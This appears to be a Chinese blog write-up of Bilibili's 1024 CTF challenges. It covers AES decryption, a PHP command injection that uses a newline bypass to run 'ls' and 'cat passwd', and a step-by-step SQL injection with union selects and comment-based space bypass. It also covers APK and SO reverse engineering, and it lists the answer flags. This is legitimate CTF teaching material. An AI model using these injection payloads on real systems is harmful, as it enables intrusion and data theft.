答案参考

  • 第一题:a1cd5f84-27966146-3776f301-64031bb9
  • 第二题:36c7a7b4-cda04af0-8db0368d-b5166480
  • 第三题:9d3c3014-6c6267e7-086aaee5-1f18452a
  • 第四题:3d5dd579-0678ef93-18b70cae-cabc5d51
  • 第五题:516834cc-50e448af-bcf9ed53-9ae4328e
  • 第六题:b13981f4-5ae996d4-bc04be5b-34662a78
  • 第七题(部分 IP,可拿 10 分):bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc

最近看到哔哩哔哩上线了一个 1024 程序员节的活动,其中有一个技术对抗赛,对抗赛又分为算法与安全答题和安全攻防挑战赛,其中安全攻防挑战赛里面有 7 个题,其中有 APP 逆向和解密的题目,作为爬虫工程师,逆向分析的技能也是必须要有的,于是 K 哥就以爬虫工程师的角度,尝试做了一下其中逆向相关的两个题,发现逆向不是很难,分享一下思路给大家。

(以爬虫工程师的角度分析安全攻防的题,网安大佬勿喷!部分题目解题思路来源于网安大佬)


第一题:加密解密

第一题就给了一串密文,什么提示也没有,作为爬虫工程师,K 哥熟练的打开了 F12,翻了翻源码,这里是一个 form 表单,method="post",下面还有一个 id 为 success 的 div 标签,于是初步怀疑是不是把密文解密后发送个 POST 请求,然后 flag 就会显示在这个 id 为 success 的 div 标签下呢?有了想法,K 哥就熟练的翻起了 JS 代码,因为我们爬虫遇到最多的就是 JS 加密嘛,然后发现就加载了 jQuery 和一个 common.js 文件,无论是搜索标签还是怎样,都没有什么有用的信息。

既然不存在 JS 加密,那应该就是硬解密文了,观察这是两段 48 位的密文,也有可能是一段 96 位的密文,而且没有 == 之类的特殊符号,那么就不可能是最简单的 MD5,不过 K 哥还是试了试,将其拆成 6 个 16 位、3 个 32 位等组合,发现都不是 MD5,于是又尝试了多种加密算法,一段作为 KEY,一段作为密文,或者整段组合成密文,SHA、HMAC、RC4 等算法都不行,再仔细观察网页,K 哥怀疑这个 happy_1024_2233 是不是也是加密的一部分呢?会不会是盐值(IV 值,也叫偏移量)?会不会它才是 KEY?结果多种尝试,最终才得出结论:

  • 加密方式:AES 加密
  • 加密模式:ECB
  • 填充方式:无影响,都可以
  • Key:happy_1024_2233
  • 96 位密文:e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156
  • 输出方式:Hex(十六进制)

解密结果(flag):a1cd5f84-27966146-3776f301-64031bb9

有关各种加密算法原理与实现可以查看 K 哥往期的文章:【爬虫知识】爬虫常见加密解密算法


第二题:前端配置项

第二题的 flag 是 36c7a7b4-cda04af0-8db0368d-b5166480,就在 home.vue 页面的注释里,如下图所示:


第三题:最好的语言

第三题说 PHP 是世界上最好的语言,给了个 eval.php,如图所示:

本题解题思路来源于网安大佬,下载 eval.php,可以看到正则 /^\w+$/,这个可以用结尾接换行符匹配,然后就可以换行用 Linux 命令了:

使用根目录命令 ls 一下,向 http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1
&args[]=ls
发送 GET 请求:

import requests

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls"
response = requests.get(url=url)
print(response.text)

返回内容:

1.txt
passwd
data
config

flag 在 passwd 里,其他就不看了,所以直接使用 Linux 命令 cat passwd,向 http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1
&args[]=cat&args[]=passwd
发送 GET 请求:

import requests

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd"
response = requests.get(url=url)
print(response.text)

返回 flag:9d3c3014-6c6267e7-086aaee5-1f18452a


第四题:SQL 注入

本题解题思路来源于网安大佬,给的网址和第二题一样,找一下网页上的按钮,点日志信息可看到日志请求,可以从日志 api 入手,抓包日志 api 为:https://security.bilibili.com/sec1024/q/admin/api/v1/log/list,绕过空格过滤尝试通过且回显,Python 发送 POST:

PS:注意每次请求 user_name 字段的变化

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
"user_id": "",
"user_name": "1/**/union/**/select/**/database(),user(),3,4,5",
"action": "",
"page": 1,
"size": 20
} response = requests.post(url=url, json=json_data)
print(response.text)

返回内容:

{
"code": 200,
"data": {
"res_list": [
{
"action": "4",
"id": "q",
"time": "5",
"user_id": "test@10.34.12.128",
"user_name": "3"
}
],
"total": 1
},
"msg": ""
}

获取表名:

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
"user_id": "",
"user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#",
"action": "",
"page": 1,
"size": 20
} response = requests.post(url=url, json=json_data)
print(response.text)

返回内容,可以得到 flag、log、user:

{
"code": 200,
"data": {
"res_list": [
{
"action": "4",
"id": "q",
"time": "flag,log,user",
"user_id": "test@10.34.12.128",
"user_name": "3"
}
],
"total": 1
},
"msg": ""
}

获取 flag 表的字段,由于不能引号所以用十六进制绕过,flag 十六进制即 666c6167

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
"user_id": "",
"user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#",
"action": "",
"page": 1,
"size": 20
} response = requests.post(url=url, json=json_data)
print(response.text)

返回内容可以得到一个字段,id:

{
"code": 200,
"data": {
"res_list": [
{
"action": "4",
"id": "q",
"time": "id",
"user_id": "test@10.34.12.128",
"user_name": "3"
}
],
"total": 1
},
"msg": ""
}

最后直接拿下 flag:

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
"user_id": "",
"user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#",
"action": "",
"page": 1,
"size": 20
} response = requests.post(url=url, json=json_data)
print(response.text)

返回内容 3d5dd579-0678ef93-18b70cae-cabc5d51 为 flag:

{
"code": 200,
"data": {
"res_list": [
{
"action": "4",
"id": "q",
"time": "3d5dd579-0678ef93-18b70cae-cabc5d51",
"user_id": "test@10.34.12.128",
"user_name": "3"
}
],
"total": 1
},
"msg": ""
}

第五题:APP 逆向

第五题是一个安卓逆向题,如图所示:

扔到模拟器看看,大概是输入账号密码,错误的话提示“还差一点点~~”,正确的话应该就能拿到 flag 了。

直接把 apk 扔到 JADX 里看看,没有混淆,代码一目了然,尤其这个 Encrypt 最为显眼:

分析代码:MainActivity.java 里,输入账号密码赋值给 obj 和 obj2,再依次调用 Encrypt.java 里的方法进行按位异或 3 的运算和 base64 编码,然后使用 Arrays.equals 方法将处理后的账号密码与正确的账号密码进行对比,正确就输出 bilibili- ( ゜- ゜)つロ 乾杯~,不是很复杂,可以使用 Java 复现,也可以使用 Python 逆向倒推正确的账号密码,使用 Python 复现的时候要注意,给出的正确账号密码是 Java 的两个字节数组,在 Python 中是没有字节数组这个概念的,Python 和 Java 字节的取值范围也不同,Python3 是 0~256,Java 是 -127~128,所以在转换的时候注意需要移动 256 位,Python 推导完整代码如下:

import base64

byte_arr1 = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61]
byte_arr2 = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61] byte_arr1_ = bytes(b % 256 for b in byte_arr1)
byte_arr2_ = bytes(b % 256 for b in byte_arr2) bs64_arr1 = base64.b64decode(byte_arr1_)
bs64_arr2 = base64.b64decode(byte_arr2_) username = password = "" for i in range(len(bs64_arr1)):
username += chr(bs64_arr1[i] ^ 3) for i in range(len(bs64_arr2)):
password += chr(bs64_arr2[i] ^ 3) print("username: ", username)
print("password: ", password)
print("flag: ", username + "-" + password)

输出:

username:  516834cc-50e448af
password: bcf9ed53-9ae4328e
flag: 516834cc-50e448af-bcf9ed53-9ae4328e

在模拟器 APP 中输入账号密码测试成功:


第六题:IDA 逆向 SO

第五题和第六题题目虽然是一样的,但是 flag 不一样,第六题需要逆向 SO,会验证 abi 和系统版本,改 build.prop,ro.product.cpu.abi 为 x86,ro.build.version.release 为 9,然后再创建 /data/2233,4 byte 一组就会变成 flag:b13981f4-5ae996d4-bc04be5b-34662a78


第七题:风控恶意 IP

最后一题是找到所有的恶意 IP 后,通过通过英文逗号分隔成一个字符串后提交,系统会根据提交的 IP 正确数计算分数,这个题不知道具体怎么判断,K 哥尝试了使用 Python 把所有 IP 提取出来之后放到 Excel 里找出重复次数过多的 IP:

bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc

这个答案只得了 10 分,实际上好像只要有一个正确的就是 10 分,满分是 20 分,可能有错的或者少的,这个题肯定没这么简单,肯定还要利用其他判断方法的,比如判断 UA、Path、Referer、同一个 UA 不同 IP 多次访问等,如果有思路的大佬可以评论讲一下。


总结

部分题目比较简单,只不过没有提示,像第一题就需要熟练掌握各种加密算法才能很快推断出加密方式,否则只能一个一个去试了,剩下的题就需要一定的网络安全知识了,各位爬虫大佬们也可以去试试。

当爬虫工程师遇到 CTF丨B 站 1024 安全攻防题解的更多相关文章

  1. 一个Python爬虫工程师学习养成记

    大数据的时代,网络爬虫已经成为了获取数据的一个重要手段. 但要学习好爬虫并没有那么简单.首先知识点和方向实在是太多了,它关系到了计算机网络.编程基础.前端开发.后端开发.App 开发与逆向.网络安全. ...

  2. 高级爬虫工程师(Spider)-美团网-拉勾网-最专业的互联网招聘平台

    高级爬虫工程师(Spider)-美团网-拉勾网-最专业的互联网招聘平台 高级爬虫工程师(Spider)

  3. 爬虫工程师JD归纳

    核心能力归纳 负责:多平台信息的抓取,清洗和分析工作 要求: 熟悉常用开源爬虫框架,如 scrapy / pyspider
 了解基于Cookie的登录原理,熟悉常用的信息抽取技术,如正则表达式.XP ...

  4. 专业的“python爬虫工程师”需要学习哪些知识?

    学到哪种程度 暂且把目标定位初级爬虫工程师,简单列一下吧: (必要部分) 熟悉多线程编程.网络编程.HTTP协议相关 开发过完整爬虫项目(最好有全站爬虫经验,这个下面会说到) 反爬相关,cookie. ...

  5. python爬虫工程师各个阶段需要掌握的技能和知识介绍

    本文主要介绍,想做一个python爬虫工程师,或者也可以说是,如何从零开始,从初级到高级,一步一步,需要掌握哪些知识和技能. 初级爬虫工程师: Web前端的知识:HTML, CSS, JavaScri ...

  6. 从零起步 系统入门Python爬虫工程师 ✌✌

    从零起步 系统入门Python爬虫工程师 (一个人学习或许会很枯燥,但是寻找更多志同道合的朋友一起,学习将会变得更加有意义✌✌) 大数据时代,python爬虫工程师人才猛增,本课程专为爬虫工程师打造, ...

  7. Python爬虫工程师必学——App数据抓取实战 ✌✌

    Python爬虫工程师必学——App数据抓取实战 (一个人学习或许会很枯燥,但是寻找更多志同道合的朋友一起,学习将会变得更加有意义✌✌) 爬虫分为几大方向,WEB网页数据抓取.APP数据抓取.软件系统 ...

  8. 为什么每一个爬虫工程师都应该学习 Kafka

    这篇文章不会涉及到Kafka 的具体操作,而是告诉你 Kafka 是什么,以及它能在爬虫开发中扮演什么重要角色. 一个简单的需求 假设我们需要写一个微博爬虫,老板给的需求如下: 开发爬虫对你来说非常简 ...

  9. 从零起步 系统入门Python爬虫工程师✍✍✍

    从零起步 系统入门Python爬虫工程师 爬虫(又被称为网页蜘蛛,网络机器人)就是模拟客户端发送网络请求,接收请求响应,一种按照一定的规则,自动地抓取互联网信息的程序. 原则上,只要是浏览器(客户端) ...

  10. Python爬虫工程师必学APP数据抓取实战✍✍✍

    Python爬虫工程师必学APP数据抓取实战  整个课程都看完了,这个课程的分享可以往下看,下面有链接,之前做java开发也做了一些年头,也分享下自己看这个视频的感受,单论单个知识点课程本身没问题,大 ...

随机推荐

  1. Solon2 的 Bean 生命周期

    Solon 框架的 Bean 是被容器托管的,所以它的生命周期只限定在容器内部: 时机点 说明 补充 AopContext::new() 是在应用初始化时执行 ::new() AopContext:: ...

  2. TreeMap - 红黑树

    TreeMap是Map家族中的一员,也是用来存放key-value键值对的.平时在工作中使用的可能并不多,它最大的特点是遍历时是有顺序的,根据key的排序规则来 TreeMap是一个双列集合,是Map ...

  3. Axure 安装使用 FontAwesome

    Axure 安装使用 FontAwesome. 字体下载:https://www.bootcss.com/p/font-awesome/ 解压后,到 font 目录,双击 FontAwesome.ot ...

  4. Axure 母版红色怎么去除?

    视图 => 遮罩 => 母版 勾选去掉

  5. API 设计最佳实践(简版)

    Restful API 本文简称API,是一个种面向资源的架构.在Restful中一个API对应一个资源,资源可以是文本,图片,视频等.API特征有如下: 每一个URI代表一种资源 客户端和服务器之间 ...

  6. Python | BitMap算法及其实现

    BitMap概述 本文介绍 BitMap 算法的应用背景,算法思想和相关实现细节. 概括而言,BitMap 主要用来解决海量数据中元素查询,去重.以及排序等问题.这里对海量数据场景的强调,似乎暗示了这 ...

  7. Educational Codeforces Round 96 (Rated for Div. 2) (A - C题个人题解)

    因为火锅导致错过的上分机会,赛后发现人均AC5题 1430A. Number of Apartments 暴力搜索 #include<bits/stdc++.h> using namesp ...

  8. Java解析上传的zip文件--包含Excel解析与图片上传

    Java解析上传的zip文件--包含Excel解析与图片上传 前言:今天遇到一个需求:上传一个zip格式的压缩文件,该zip中包含人员信息的excel以及excel中每行对应的人的图片,现在需要将该z ...

  9. 当 Rokid 遇上函数计算

    作者:王彬(阿里云解决方案架构师).姚兰天(Rokid 技术专家).聂大鹏(阿里云高级技术专家) 公司背景和业务 Rokid 创立于2014年,是一家专注于人机交互技术的产品平台公司.Rokid 通过 ...

  10. 3D编程模式:开篇

    大家好~现在开始新的系列文章:3D编程模式系列 本系列会介绍从我的实际开发经验中抽象提炼出来的编程模式,大家可直接应用它们到3D引擎开发.编辑器开发等领域中 相关资料: 课程录像回放 代码和课程ppt ...